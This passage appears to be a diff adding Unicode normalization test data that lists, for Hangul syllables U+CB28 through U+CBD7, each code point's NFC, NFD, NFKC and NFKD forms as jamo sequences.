+{ source: [0xCB28], NFC: [0xCB28], NFD: [0x110D, 0x116C, 0x11BF], NFKC: [0xCB28], NFKD: [0x110D, 0x116C, 0x11BF] },
+{ source: [0xCB29], NFC: [0xCB29], NFD: [0x110D, 0x116C, 0x11C0], NFKC: [0xCB29], NFKD: [0x110D, 0x116C, 0x11C0] },
+{ source: [0xCB2A], NFC: [0xCB2A], NFD: [0x110D, 0x116C, 0x11C1], NFKC: [0xCB2A], NFKD: [0x110D, 0x116C, 0x11C1] },
+{ source: [0xCB2B], NFC: [0xCB2B], NFD: [0x110D, 0x116C, 0x11C2], NFKC: [0xCB2B], NFKD: [0x110D, 0x116C, 0x11C2] },
+{ source: [0xCB2C], NFC: [0xCB2C], NFD: [0x110D, 0x116D], NFKC: [0xCB2C], NFKD: [0x110D, 0x116D] },
+{ source: [0xCB2D], NFC: [0xCB2D], NFD: [0x110D, 0x116D, 0x11A8], NFKC: [0xCB2D], NFKD: [0x110D, 0x116D, 0x11A8] },
+{ source: [0xCB2E], NFC: [0xCB2E], NFD: [0x110D, 0x116D, 0x11A9], NFKC: [0xCB2E], NFKD: [0x110D, 0x116D, 0x11A9] },
+{ source: [0xCB2F], NFC: [0xCB2F], NFD: [0x110D, 0x116D, 0x11AA], NFKC: [0xCB2F], NFKD: [0x110D, 0x116D, 0x11AA] },
+{ source: [0xCB30], NFC: [0xCB30], NFD: [0x110D, 0x116D, 0x11AB], NFKC: [0xCB30], NFKD: [0x110D, 0x116D, 0x11AB] },
+{ source: [0xCB31], NFC: [0xCB31], NFD: [0x110D, 0x116D, 0x11AC], NFKC: [0xCB31], NFKD: [0x110D, 0x116D, 0x11AC] },
+{ source: [0xCB32], NFC: [0xCB32], NFD: [0x110D, 0x116D, 0x11AD], NFKC: [0xCB32], NFKD: [0x110D, 0x116D, 0x11AD] },
+{ source: [0xCB33], NFC: [0xCB33], NFD: [0x110D, 0x116D, 0x11AE], NFKC: [0xCB33], NFKD: [0x110D, 0x116D, 0x11AE] },
+{ source: [0xCB34], NFC: [0xCB34], NFD: [0x110D, 0x116D, 0x11AF], NFKC: [0xCB34], NFKD: [0x110D, 0x116D, 0x11AF] },
+{ source: [0xCB35], NFC: [0xCB35], NFD: [0x110D, 0x116D, 0x11B0], NFKC: [0xCB35], NFKD: [0x110D, 0x116D, 0x11B0] },
+{ source: [0xCB36], NFC: [0xCB36], NFD: [0x110D, 0x116D, 0x11B1], NFKC: [0xCB36], NFKD: [0x110D, 0x116D, 0x11B1] },
+{ source: [0xCB37], NFC: [0xCB37], NFD: [0x110D, 0x116D, 0x11B2], NFKC: [0xCB37], NFKD: [0x110D, 0x116D, 0x11B2] },
+{ source: [0xCB38], NFC: [0xCB38], NFD: [0x110D, 0x116D, 0x11B3], NFKC: [0xCB38], NFKD: [0x110D, 0x116D, 0x11B3] },
+{ source: [0xCB39], NFC: [0xCB39], NFD: [0x110D, 0x116D, 0x11B4], NFKC: [0xCB39], NFKD: [0x110D, 0x116D, 0x11B4] },
+{ source: [0xCB3A], NFC: [0xCB3A], NFD: [0x110D, 0x116D, 0x11B5], NFKC: [0xCB3A], NFKD: [0x110D, 0x116D, 0x11B5] },
+{ source: [0xCB3B], NFC: [0xCB3B], NFD: [0x110D, 0x116D, 0x11B6], NFKC: [0xCB3B], NFKD: [0x110D, 0x116D, 0x11B6] },
+{ source: [0xCB3C], NFC: [0xCB3C], NFD: [0x110D, 0x116D, 0x11B7], NFKC: [0xCB3C], NFKD: [0x110D, 0x116D, 0x11B7] },
+{ source: [0xCB3D], NFC: [0xCB3D], NFD: [0x110D, 0x116D, 0x11B8], NFKC: [0xCB3D], NFKD: [0x110D, 0x116D, 0x11B8] },
+{ source: [0xCB3E], NFC: [0xCB3E], NFD: [0x110D, 0x116D, 0x11B9], NFKC: [0xCB3E], NFKD: [0x110D, 0x116D, 0x11B9] },
+{ source: [0xCB3F], NFC: [0xCB3F], NFD: [0x110D, 0x116D, 0x11BA], NFKC: [0xCB3F], NFKD: [0x110D, 0x116D, 0x11BA] },
+{ source: [0xCB40], NFC: [0xCB40], NFD: [0x110D, 0x116D, 0x11BB], NFKC: [0xCB40], NFKD: [0x110D, 0x116D, 0x11BB] },
+{ source: [0xCB41], NFC: [0xCB41], NFD: [0x110D, 0x116D, 0x11BC], NFKC: [0xCB41], NFKD: [0x110D, 0x116D, 0x11BC] },
+{ source: [0xCB42], NFC: [0xCB42], NFD: [0x110D, 0x116D, 0x11BD], NFKC: [0xCB42], NFKD: [0x110D, 0x116D, 0x11BD] },
+{ source: [0xCB43], NFC: [0xCB43], NFD: [0x110D, 0x116D, 0x11BE], NFKC: [0xCB43], NFKD: [0x110D, 0x116D, 0x11BE] },
+{ source: [0xCB44], NFC: [0xCB44], NFD: [0x110D, 0x116D, 0x11BF], NFKC: [0xCB44], NFKD: [0x110D, 0x116D, 0x11BF] },
+{ source: [0xCB45], NFC: [0xCB45], NFD: [0x110D, 0x116D, 0x11C0], NFKC: [0xCB45], NFKD: [0x110D, 0x116D, 0x11C0] },
+{ source: [0xCB46], NFC: [0xCB46], NFD: [0x110D, 0x116D, 0x11C1], NFKC: [0xCB46], NFKD: [0x110D, 0x116D, 0x11C1] },
+{ source: [0xCB47], NFC: [0xCB47], NFD: [0x110D, 0x116D, 0x11C2], NFKC: [0xCB47], NFKD: [0x110D, 0x116D, 0x11C2] },
+{ source: [0xCB48], NFC: [0xCB48], NFD: [0x110D, 0x116E], NFKC: [0xCB48], NFKD: [0x110D, 0x116E] },
+{ source: [0xCB49], NFC: [0xCB49], NFD: [0x110D, 0x116E, 0x11A8], NFKC: [0xCB49], NFKD: [0x110D, 0x116E, 0x11A8] },
+{ source: [0xCB4A], NFC: [0xCB4A], NFD: [0x110D, 0x116E, 0x11A9], NFKC: [0xCB4A], NFKD: [0x110D, 0x116E, 0x11A9] },
+{ source: [0xCB4B], NFC: [0xCB4B], NFD: [0x110D, 0x116E, 0x11AA], NFKC: [0xCB4B], NFKD: [0x110D, 0x116E, 0x11AA] },
+{ source: [0xCB4C], NFC: [0xCB4C], NFD: [0x110D, 0x116E, 0x11AB], NFKC: [0xCB4C], NFKD: [0x110D, 0x116E, 0x11AB] },
+{ source: [0xCB4D], NFC: [0xCB4D], NFD: [0x110D, 0x116E, 0x11AC], NFKC: [0xCB4D], NFKD: [0x110D, 0x116E, 0x11AC] },
+{ source: [0xCB4E], NFC: [0xCB4E], NFD: [0x110D, 0x116E, 0x11AD], NFKC: [0xCB4E], NFKD: [0x110D, 0x116E, 0x11AD] },
+{ source: [0xCB4F], NFC: [0xCB4F], NFD: [0x110D, 0x116E, 0x11AE], NFKC: [0xCB4F], NFKD: [0x110D, 0x116E, 0x11AE] },
+{ source: [0xCB50], NFC: [0xCB50], NFD: [0x110D, 0x116E, 0x11AF], NFKC: [0xCB50], NFKD: [0x110D, 0x116E, 0x11AF] },
+{ source: [0xCB51], NFC: [0xCB51], NFD: [0x110D, 0x116E, 0x11B0], NFKC: [0xCB51], NFKD: [0x110D, 0x116E, 0x11B0] },
+{ source: [0xCB52], NFC: [0xCB52], NFD: [0x110D, 0x116E, 0x11B1], NFKC: [0xCB52], NFKD: [0x110D, 0x116E, 0x11B1] },
+{ source: [0xCB53], NFC: [0xCB53], NFD: [0x110D, 0x116E, 0x11B2], NFKC: [0xCB53], NFKD: [0x110D, 0x116E, 0x11B2] },
+{ source: [0xCB54], NFC: [0xCB54], NFD: [0x110D, 0x116E, 0x11B3], NFKC: [0xCB54], NFKD: [0x110D, 0x116E, 0x11B3] },
+{ source: [0xCB55], NFC: [0xCB55], NFD: [0x110D, 0x116E, 0x11B4], NFKC: [0xCB55], NFKD: [0x110D, 0x116E, 0x11B4] },
+{ source: [0xCB56], NFC: [0xCB56], NFD: [0x110D, 0x116E, 0x11B5], NFKC: [0xCB56], NFKD: [0x110D, 0x116E, 0x11B5] },
+{ source: [0xCB57], NFC: [0xCB57], NFD: [0x110D, 0x116E, 0x11B6], NFKC: [0xCB57], NFKD: [0x110D, 0x116E, 0x11B6] },
+{ source: [0xCB58], NFC: [0xCB58], NFD: [0x110D, 0x116E, 0x11B7], NFKC: [0xCB58], NFKD: [0x110D, 0x116E, 0x11B7] },
+{ source: [0xCB59], NFC: [0xCB59], NFD: [0x110D, 0x116E, 0x11B8], NFKC: [0xCB59], NFKD: [0x110D, 0x116E, 0x11B8] },
+{ source: [0xCB5A], NFC: [0xCB5A], NFD: [0x110D, 0x116E, 0x11B9], NFKC: [0xCB5A], NFKD: [0x110D, 0x116E, 0x11B9] },
+{ source: [0xCB5B], NFC: [0xCB5B], NFD: [0x110D, 0x116E, 0x11BA], NFKC: [0xCB5B], NFKD: [0x110D, 0x116E, 0x11BA] },
+{ source: [0xCB5C], NFC: [0xCB5C], NFD: [0x110D, 0x116E, 0x11BB], NFKC: [0xCB5C], NFKD: [0x110D, 0x116E, 0x11BB] },
+{ source: [0xCB5D], NFC: [0xCB5D], NFD: [0x110D, 0x116E, 0x11BC], NFKC: [0xCB5D], NFKD: [0x110D, 0x116E, 0x11BC] },
+{ source: [0xCB5E], NFC: [0xCB5E], NFD: [0x110D, 0x116E, 0x11BD], NFKC: [0xCB5E], NFKD: [0x110D, 0x116E, 0x11BD] },
+{ source: [0xCB5F], NFC: [0xCB5F], NFD: [0x110D, 0x116E, 0x11BE], NFKC: [0xCB5F], NFKD: [0x110D, 0x116E, 0x11BE] },
+{ source: [0xCB60], NFC: [0xCB60], NFD: [0x110D, 0x116E, 0x11BF], NFKC: [0xCB60], NFKD: [0x110D, 0x116E, 0x11BF] },
+{ source: [0xCB61], NFC: [0xCB61], NFD: [0x110D, 0x116E, 0x11C0], NFKC: [0xCB61], NFKD: [0x110D, 0x116E, 0x11C0] },
+{ source: [0xCB62], NFC: [0xCB62], NFD: [0x110D, 0x116E, 0x11C1], NFKC: [0xCB62], NFKD: [0x110D, 0x116E, 0x11C1] },
+{ source: [0xCB63], NFC: [0xCB63], NFD: [0x110D, 0x116E, 0x11C2], NFKC: [0xCB63], NFKD: [0x110D, 0x116E, 0x11C2] },
+{ source: [0xCB64], NFC: [0xCB64], NFD: [0x110D, 0x116F], NFKC: [0xCB64], NFKD: [0x110D, 0x116F] },
+{ source: [0xCB65], NFC: [0xCB65], NFD: [0x110D, 0x116F, 0x11A8], NFKC: [0xCB65], NFKD: [0x110D, 0x116F, 0x11A8] },
+{ source: [0xCB66], NFC: [0xCB66], NFD: [0x110D, 0x116F, 0x11A9], NFKC: [0xCB66], NFKD: [0x110D, 0x116F, 0x11A9] },
+{ source: [0xCB67], NFC: [0xCB67], NFD: [0x110D, 0x116F, 0x11AA], NFKC: [0xCB67], NFKD: [0x110D, 0x116F, 0x11AA] },
+{ source: [0xCB68], NFC: [0xCB68], NFD: [0x110D, 0x116F, 0x11AB], NFKC: [0xCB68], NFKD: [0x110D, 0x116F, 0x11AB] },
+{ source: [0xCB69], NFC: [0xCB69], NFD: [0x110D, 0x116F, 0x11AC], NFKC: [0xCB69], NFKD: [0x110D, 0x116F, 0x11AC] },
+{ source: [0xCB6A], NFC: [0xCB6A], NFD: [0x110D, 0x116F, 0x11AD], NFKC: [0xCB6A], NFKD: [0x110D, 0x116F, 0x11AD] },
+{ source: [0xCB6B], NFC: [0xCB6B], NFD: [0x110D, 0x116F, 0x11AE], NFKC: [0xCB6B], NFKD: [0x110D, 0x116F, 0x11AE] },
+{ source: [0xCB6C], NFC: [0xCB6C], NFD: [0x110D, 0x116F, 0x11AF], NFKC: [0xCB6C], NFKD: [0x110D, 0x116F, 0x11AF] },
+{ source: [0xCB6D], NFC: [0xCB6D], NFD: [0x110D, 0x116F, 0x11B0], NFKC: [0xCB6D], NFKD: [0x110D, 0x116F, 0x11B0] },
+{ source: [0xCB6E], NFC: [0xCB6E], NFD: [0x110D, 0x116F, 0x11B1], NFKC: [0xCB6E], NFKD: [0x110D, 0x116F, 0x11B1] },
+{ source: [0xCB6F], NFC: [0xCB6F], NFD: [0x110D, 0x116F, 0x11B2], NFKC: [0xCB6F], NFKD: [0x110D, 0x116F, 0x11B2] },
+{ source: [0xCB70], NFC: [0xCB70], NFD: [0x110D, 0x116F, 0x11B3], NFKC: [0xCB70], NFKD: [0x110D, 0x116F, 0x11B3] },
+{ source: [0xCB71], NFC: [0xCB71], NFD: [0x110D, 0x116F, 0x11B4], NFKC: [0xCB71], NFKD: [0x110D, 0x116F, 0x11B4] },
+{ source: [0xCB72], NFC: [0xCB72], NFD: [0x110D, 0x116F, 0x11B5], NFKC: [0xCB72], NFKD: [0x110D, 0x116F, 0x11B5] },
+{ source: [0xCB73], NFC: [0xCB73], NFD: [0x110D, 0x116F, 0x11B6], NFKC: [0xCB73], NFKD: [0x110D, 0x116F, 0x11B6] },
+{ source: [0xCB74], NFC: [0xCB74], NFD: [0x110D, 0x116F, 0x11B7], NFKC: [0xCB74], NFKD: [0x110D, 0x116F, 0x11B7] },
+{ source: [0xCB75], NFC: [0xCB75], NFD: [0x110D, 0x116F, 0x11B8], NFKC: [0xCB75], NFKD: [0x110D, 0x116F, 0x11B8] },
+{ source: [0xCB76], NFC: [0xCB76], NFD: [0x110D, 0x116F, 0x11B9], NFKC: [0xCB76], NFKD: [0x110D, 0x116F, 0x11B9] },
+{ source: [0xCB77], NFC: [0xCB77], NFD: [0x110D, 0x116F, 0x11BA], NFKC: [0xCB77], NFKD: [0x110D, 0x116F, 0x11BA] },
+{ source: [0xCB78], NFC: [0xCB78], NFD: [0x110D, 0x116F, 0x11BB], NFKC: [0xCB78], NFKD: [0x110D, 0x116F, 0x11BB] },
+{ source: [0xCB79], NFC: [0xCB79], NFD: [0x110D, 0x116F, 0x11BC], NFKC: [0xCB79], NFKD: [0x110D, 0x116F, 0x11BC] },
+{ source: [0xCB7A], NFC: [0xCB7A], NFD: [0x110D, 0x116F, 0x11BD], NFKC: [0xCB7A], NFKD: [0x110D, 0x116F, 0x11BD] },
+{ source: [0xCB7B], NFC: [0xCB7B], NFD: [0x110D, 0x116F, 0x11BE], NFKC: [0xCB7B], NFKD: [0x110D, 0x116F, 0x11BE] },
+{ source: [0xCB7C], NFC: [0xCB7C], NFD: [0x110D, 0x116F, 0x11BF], NFKC: [0xCB7C], NFKD: [0x110D, 0x116F, 0x11BF] },
+{ source: [0xCB7D], NFC: [0xCB7D], NFD: [0x110D, 0x116F, 0x11C0], NFKC: [0xCB7D], NFKD: [0x110D, 0x116F, 0x11C0] },
+{ source: [0xCB7E], NFC: [0xCB7E], NFD: [0x110D, 0x116F, 0x11C1], NFKC: [0xCB7E], NFKD: [0x110D, 0x116F, 0x11C1] },
+{ source: [0xCB7F], NFC: [0xCB7F], NFD: [0x110D, 0x116F, 0x11C2], NFKC: [0xCB7F], NFKD: [0x110D, 0x116F, 0x11C2] },
+{ source: [0xCB80], NFC: [0xCB80], NFD: [0x110D, 0x1170], NFKC: [0xCB80], NFKD: [0x110D, 0x1170] },
+{ source: [0xCB81], NFC: [0xCB81], NFD: [0x110D, 0x1170, 0x11A8], NFKC: [0xCB81], NFKD: [0x110D, 0x1170, 0x11A8] },
+{ source: [0xCB82], NFC: [0xCB82], NFD: [0x110D, 0x1170, 0x11A9], NFKC: [0xCB82], NFKD: [0x110D, 0x1170, 0x11A9] },
+{ source: [0xCB83], NFC: [0xCB83], NFD: [0x110D, 0x1170, 0x11AA], NFKC: [0xCB83], NFKD: [0x110D, 0x1170, 0x11AA] },
+{ source: [0xCB84], NFC: [0xCB84], NFD: [0x110D, 0x1170, 0x11AB], NFKC: [0xCB84], NFKD: [0x110D, 0x1170, 0x11AB] },
+{ source: [0xCB85], NFC: [0xCB85], NFD: [0x110D, 0x1170, 0x11AC], NFKC: [0xCB85], NFKD: [0x110D, 0x1170, 0x11AC] },
+{ source: [0xCB86], NFC: [0xCB86], NFD: [0x110D, 0x1170, 0x11AD], NFKC: [0xCB86], NFKD: [0x110D, 0x1170, 0x11AD] },
+{ source: [0xCB87], NFC: [0xCB87], NFD: [0x110D, 0x1170, 0x11AE], NFKC: [0xCB87], NFKD: [0x110D, 0x1170, 0x11AE] },
+{ source: [0xCB88], NFC: [0xCB88], NFD: [0x110D, 0x1170, 0x11AF], NFKC: [0xCB88], NFKD: [0x110D, 0x1170, 0x11AF] },
+{ source: [0xCB89], NFC: [0xCB89], NFD: [0x110D, 0x1170, 0x11B0], NFKC: [0xCB89], NFKD: [0x110D, 0x1170, 0x11B0] },
+{ source: [0xCB8A], NFC: [0xCB8A], NFD: [0x110D, 0x1170, 0x11B1], NFKC: [0xCB8A], NFKD: [0x110D, 0x1170, 0x11B1] },
+{ source: [0xCB8B], NFC: [0xCB8B], NFD: [0x110D, 0x1170, 0x11B2], NFKC: [0xCB8B], NFKD: [0x110D, 0x1170, 0x11B2] },
+{ source: [0xCB8C], NFC: [0xCB8C], NFD: [0x110D, 0x1170, 0x11B3], NFKC: [0xCB8C], NFKD: [0x110D, 0x1170, 0x11B3] },
+{ source: [0xCB8D], NFC: [0xCB8D], NFD: [0x110D, 0x1170, 0x11B4], NFKC: [0xCB8D], NFKD: [0x110D, 0x1170, 0x11B4] },
+{ source: [0xCB8E], NFC: [0xCB8E], NFD: [0x110D, 0x1170, 0x11B5], NFKC: [0xCB8E], NFKD: [0x110D, 0x1170, 0x11B5] },
+{ source: [0xCB8F], NFC: [0xCB8F], NFD: [0x110D, 0x1170, 0x11B6], NFKC: [0xCB8F], NFKD: [0x110D, 0x1170, 0x11B6] },
+{ source: [0xCB90], NFC: [0xCB90], NFD: [0x110D, 0x1170, 0x11B7], NFKC: [0xCB90], NFKD: [0x110D, 0x1170, 0x11B7] },
+{ source: [0xCB91], NFC: [0xCB91], NFD: [0x110D, 0x1170, 0x11B8], NFKC: [0xCB91], NFKD: [0x110D, 0x1170, 0x11B8] },
+{ source: [0xCB92], NFC: [0xCB92], NFD: [0x110D, 0x1170, 0x11B9], NFKC: [0xCB92], NFKD: [0x110D, 0x1170, 0x11B9] },
+{ source: [0xCB93], NFC: [0xCB93], NFD: [0x110D, 0x1170, 0x11BA], NFKC: [0xCB93], NFKD: [0x110D, 0x1170, 0x11BA] },
+{ source: [0xCB94], NFC: [0xCB94], NFD: [0x110D, 0x1170, 0x11BB], NFKC: [0xCB94], NFKD: [0x110D, 0x1170, 0x11BB] },
+{ source: [0xCB95], NFC: [0xCB95], NFD: [0x110D, 0x1170, 0x11BC], NFKC: [0xCB95], NFKD: [0x110D, 0x1170, 0x11BC] },
+{ source: [0xCB96], NFC: [0xCB96], NFD: [0x110D, 0x1170, 0x11BD], NFKC: [0xCB96], NFKD: [0x110D, 0x1170, 0x11BD] },
+{ source: [0xCB97], NFC: [0xCB97], NFD: [0x110D, 0x1170, 0x11BE], NFKC: [0xCB97], NFKD: [0x110D, 0x1170, 0x11BE] },
+{ source: [0xCB98], NFC: [0xCB98], NFD: [0x110D, 0x1170, 0x11BF], NFKC: [0xCB98], NFKD: [0x110D, 0x1170, 0x11BF] },
+{ source: [0xCB99], NFC: [0xCB99], NFD: [0x110D, 0x1170, 0x11C0], NFKC: [0xCB99], NFKD: [0x110D, 0x1170, 0x11C0] },
+{ source: [0xCB9A], NFC: [0xCB9A], NFD: [0x110D, 0x1170, 0x11C1], NFKC: [0xCB9A], NFKD: [0x110D, 0x1170, 0x11C1] },
+{ source: [0xCB9B], NFC: [0xCB9B], NFD: [0x110D, 0x1170, 0x11C2], NFKC: [0xCB9B], NFKD: [0x110D, 0x1170, 0x11C2] },
+{ source: [0xCB9C], NFC: [0xCB9C], NFD: [0x110D, 0x1171], NFKC: [0xCB9C], NFKD: [0x110D, 0x1171] },
+{ source: [0xCB9D], NFC: [0xCB9D], NFD: [0x110D, 0x1171, 0x11A8], NFKC: [0xCB9D], NFKD: [0x110D, 0x1171, 0x11A8] },
+{ source: [0xCB9E], NFC: [0xCB9E], NFD: [0x110D, 0x1171, 0x11A9], NFKC: [0xCB9E], NFKD: [0x110D, 0x1171, 0x11A9] },
+{ source: [0xCB9F], NFC: [0xCB9F], NFD: [0x110D, 0x1171, 0x11AA], NFKC: [0xCB9F], NFKD: [0x110D, 0x1171, 0x11AA] },
+{ source: [0xCBA0], NFC: [0xCBA0], NFD: [0x110D, 0x1171, 0x11AB], NFKC: [0xCBA0], NFKD: [0x110D, 0x1171, 0x11AB] },
+{ source: [0xCBA1], NFC: [0xCBA1], NFD: [0x110D, 0x1171, 0x11AC], NFKC: [0xCBA1], NFKD: [0x110D, 0x1171, 0x11AC] },
+{ source: [0xCBA2], NFC: [0xCBA2], NFD: [0x110D, 0x1171, 0x11AD], NFKC: [0xCBA2], NFKD: [0x110D, 0x1171, 0x11AD] },
+{ source: [0xCBA3], NFC: [0xCBA3], NFD: [0x110D, 0x1171, 0x11AE], NFKC: [0xCBA3], NFKD: [0x110D, 0x1171, 0x11AE] },
+{ source: [0xCBA4], NFC: [0xCBA4], NFD: [0x110D, 0x1171, 0x11AF], NFKC: [0xCBA4], NFKD: [0x110D, 0x1171, 0x11AF] },
+{ source: [0xCBA5], NFC: [0xCBA5], NFD: [0x110D, 0x1171, 0x11B0], NFKC: [0xCBA5], NFKD: [0x110D, 0x1171, 0x11B0] },
+{ source: [0xCBA6], NFC: [0xCBA6], NFD: [0x110D, 0x1171, 0x11B1], NFKC: [0xCBA6], NFKD: [0x110D, 0x1171, 0x11B1] },
+{ source: [0xCBA7], NFC: [0xCBA7], NFD: [0x110D, 0x1171, 0x11B2], NFKC: [0xCBA7], NFKD: [0x110D, 0x1171, 0x11B2] },
+{ source: [0xCBA8], NFC: [0xCBA8], NFD: [0x110D, 0x1171, 0x11B3], NFKC: [0xCBA8], NFKD: [0x110D, 0x1171, 0x11B3] },
+{ source: [0xCBA9], NFC: [0xCBA9], NFD: [0x110D, 0x1171, 0x11B4], NFKC: [0xCBA9], NFKD: [0x110D, 0x1171, 0x11B4] },
+{ source: [0xCBAA], NFC: [0xCBAA], NFD: [0x110D, 0x1171, 0x11B5], NFKC: [0xCBAA], NFKD: [0x110D, 0x1171, 0x11B5] },
+{ source: [0xCBAB], NFC: [0xCBAB], NFD: [0x110D, 0x1171, 0x11B6], NFKC: [0xCBAB], NFKD: [0x110D, 0x1171, 0x11B6] },
+{ source: [0xCBAC], NFC: [0xCBAC], NFD: [0x110D, 0x1171, 0x11B7], NFKC: [0xCBAC], NFKD: [0x110D, 0x1171, 0x11B7] },
+{ source: [0xCBAD], NFC: [0xCBAD], NFD: [0x110D, 0x1171, 0x11B8], NFKC: [0xCBAD], NFKD: [0x110D, 0x1171, 0x11B8] },
+{ source: [0xCBAE], NFC: [0xCBAE], NFD: [0x110D, 0x1171, 0x11B9], NFKC: [0xCBAE], NFKD: [0x110D, 0x1171, 0x11B9] },
+{ source: [0xCBAF], NFC: [0xCBAF], NFD: [0x110D, 0x1171, 0x11BA], NFKC: [0xCBAF], NFKD: [0x110D, 0x1171, 0x11BA] },
+{ source: [0xCBB0], NFC: [0xCBB0], NFD: [0x110D, 0x1171, 0x11BB], NFKC: [0xCBB0], NFKD: [0x110D, 0x1171, 0x11BB] },
+{ source: [0xCBB1], NFC: [0xCBB1], NFD: [0x110D, 0x1171, 0x11BC], NFKC: [0xCBB1], NFKD: [0x110D, 0x1171, 0x11BC] },
+{ source: [0xCBB2], NFC: [0xCBB2], NFD: [0x110D, 0x1171, 0x11BD], NFKC: [0xCBB2], NFKD: [0x110D, 0x1171, 0x11BD] },
+{ source: [0xCBB3], NFC: [0xCBB3], NFD: [0x110D, 0x1171, 0x11BE], NFKC: [0xCBB3], NFKD: [0x110D, 0x1171, 0x11BE] },
+{ source: [0xCBB4], NFC: [0xCBB4], NFD: [0x110D, 0x1171, 0x11BF], NFKC: [0xCBB4], NFKD: [0x110D, 0x1171, 0x11BF] },
+{ source: [0xCBB5], NFC: [0xCBB5], NFD: [0x110D, 0x1171, 0x11C0], NFKC: [0xCBB5], NFKD: [0x110D, 0x1171, 0x11C0] },
+{ source: [0xCBB6], NFC: [0xCBB6], NFD: [0x110D, 0x1171, 0x11C1], NFKC: [0xCBB6], NFKD: [0x110D, 0x1171, 0x11C1] },
+{ source: [0xCBB7], NFC: [0xCBB7], NFD: [0x110D, 0x1171, 0x11C2], NFKC: [0xCBB7], NFKD: [0x110D, 0x1171, 0x11C2] },
+{ source: [0xCBB8], NFC: [0xCBB8], NFD: [0x110D, 0x1172], NFKC: [0xCBB8], NFKD: [0x110D, 0x1172] },
+{ source: [0xCBB9], NFC: [0xCBB9], NFD: [0x110D, 0x1172, 0x11A8], NFKC: [0xCBB9], NFKD: [0x110D, 0x1172, 0x11A8] },
+{ source: [0xCBBA], NFC: [0xCBBA], NFD: [0x110D, 0x1172, 0x11A9], NFKC: [0xCBBA], NFKD: [0x110D, 0x1172, 0x11A9] },
+{ source: [0xCBBB], NFC: [0xCBBB], NFD: [0x110D, 0x1172, 0x11AA], NFKC: [0xCBBB], NFKD: [0x110D, 0x1172, 0x11AA] },
+{ source: [0xCBBC], NFC: [0xCBBC], NFD: [0x110D, 0x1172, 0x11AB], NFKC: [0xCBBC], NFKD: [0x110D, 0x1172, 0x11AB] },
+{ source: [0xCBBD], NFC: [0xCBBD], NFD: [0x110D, 0x1172, 0x11AC], NFKC: [0xCBBD], NFKD: [0x110D, 0x1172, 0x11AC] },
+{ source: [0xCBBE], NFC: [0xCBBE], NFD: [0x110D, 0x1172, 0x11AD], NFKC: [0xCBBE], NFKD: [0x110D, 0x1172, 0x11AD] },
+{ source: [0xCBBF], NFC: [0xCBBF], NFD: [0x110D, 0x1172, 0x11AE], NFKC: [0xCBBF], NFKD: [0x110D, 0x1172, 0x11AE] },
+{ source: [0xCBC0], NFC: [0xCBC0], NFD: [0x110D, 0x1172, 0x11AF], NFKC: [0xCBC0], NFKD: [0x110D, 0x1172, 0x11AF] },
+{ source: [0xCBC1], NFC: [0xCBC1], NFD: [0x110D, 0x1172, 0x11B0], NFKC: [0xCBC1], NFKD: [0x110D, 0x1172, 0x11B0] },
+{ source: [0xCBC2], NFC: [0xCBC2], NFD: [0x110D, 0x1172, 0x11B1], NFKC: [0xCBC2], NFKD: [0x110D, 0x1172, 0x11B1] },
+{ source: [0xCBC3], NFC: [0xCBC3], NFD: [0x110D, 0x1172, 0x11B2], NFKC: [0xCBC3], NFKD: [0x110D, 0x1172, 0x11B2] },
+{ source: [0xCBC4], NFC: [0xCBC4], NFD: [0x110D, 0x1172, 0x11B3], NFKC: [0xCBC4], NFKD: [0x110D, 0x1172, 0x11B3] },
+{ source: [0xCBC5], NFC: [0xCBC5], NFD: [0x110D, 0x1172, 0x11B4], NFKC: [0xCBC5], NFKD: [0x110D, 0x1172, 0x11B4] },
+{ source: [0xCBC6], NFC: [0xCBC6], NFD: [0x110D, 0x1172, 0x11B5], NFKC: [0xCBC6], NFKD: [0x110D, 0x1172, 0x11B5] },
+{ source: [0xCBC7], NFC: [0xCBC7], NFD: [0x110D, 0x1172, 0x11B6], NFKC: [0xCBC7], NFKD: [0x110D, 0x1172, 0x11B6] },
+{ source: [0xCBC8], NFC: [0xCBC8], NFD: [0x110D, 0x1172, 0x11B7], NFKC: [0xCBC8], NFKD: [0x110D, 0x1172, 0x11B7] },
+{ source: [0xCBC9], NFC: [0xCBC9], NFD: [0x110D, 0x1172, 0x11B8], NFKC: [0xCBC9], NFKD: [0x110D, 0x1172, 0x11B8] },
+{ source: [0xCBCA], NFC: [0xCBCA], NFD: [0x110D, 0x1172, 0x11B9], NFKC: [0xCBCA], NFKD: [0x110D, 0x1172, 0x11B9] },
+{ source: [0xCBCB], NFC: [0xCBCB], NFD: [0x110D, 0x1172, 0x11BA], NFKC: [0xCBCB], NFKD: [0x110D, 0x1172, 0x11BA] },
+{ source: [0xCBCC], NFC: [0xCBCC], NFD: [0x110D, 0x1172, 0x11BB], NFKC: [0xCBCC], NFKD: [0x110D, 0x1172, 0x11BB] },
+{ source: [0xCBCD], NFC: [0xCBCD], NFD: [0x110D, 0x1172, 0x11BC], NFKC: [0xCBCD], NFKD: [0x110D, 0x1172, 0x11BC] },
+{ source: [0xCBCE], NFC: [0xCBCE], NFD: [0x110D, 0x1172, 0x11BD], NFKC: [0xCBCE], NFKD: [0x110D, 0x1172, 0x11BD] },
+{ source: [0xCBCF], NFC: [0xCBCF], NFD: [0x110D, 0x1172, 0x11BE], NFKC: [0xCBCF], NFKD: [0x110D, 0x1172, 0x11BE] },
+{ source: [0xCBD0], NFC: [0xCBD0], NFD: [0x110D, 0x1172, 0x11BF], NFKC: [0xCBD0], NFKD: [0x110D, 0x1172, 0x11BF] },
+{ source: [0xCBD1], NFC: [0xCBD1], NFD: [0x110D, 0x1172, 0x11C0], NFKC: [0xCBD1], NFKD: [0x110D, 0x1172, 0x11C0] },
+{ source: [0xCBD2], NFC: [0xCBD2], NFD: [0x110D, 0x1172, 0x11C1], NFKC: [0xCBD2], NFKD: [0x110D, 0x1172, 0x11C1] },
+{ source: [0xCBD3], NFC: [0xCBD3], NFD: [0x110D, 0x1172, 0x11C2], NFKC: [0xCBD3], NFKD: [0x110D, 0x1172, 0x11C2] },
+{ source: [0xCBD4], NFC: [0xCBD4], NFD: [0x110D, 0x1173], NFKC: [0xCBD4], NFKD: [0x110D, 0x1173] },
+{ source: [0xCBD5], NFC: [0xCBD5], NFD: [0x110D, 0x1173, 0x11A8], NFKC: [0xCBD5], NFKD: [0x110D, 0x1173, 0x11A8] },
+{ source: [0xCBD6], NFC: [0xCBD6], NFD: [0x110D, 0x1173, 0x11A9], NFKC: [0xCBD6], NFKD: [0x110D, 0x1173, 0x11A9] },
+{ source: [0xCBD7], NFC: [0xCBD7], NFD: [0x110D, 0x1173, 0x11AA], NFKC: [0xCBD7], NFKD: [0x110D, 0x1173, 0x11AA] },
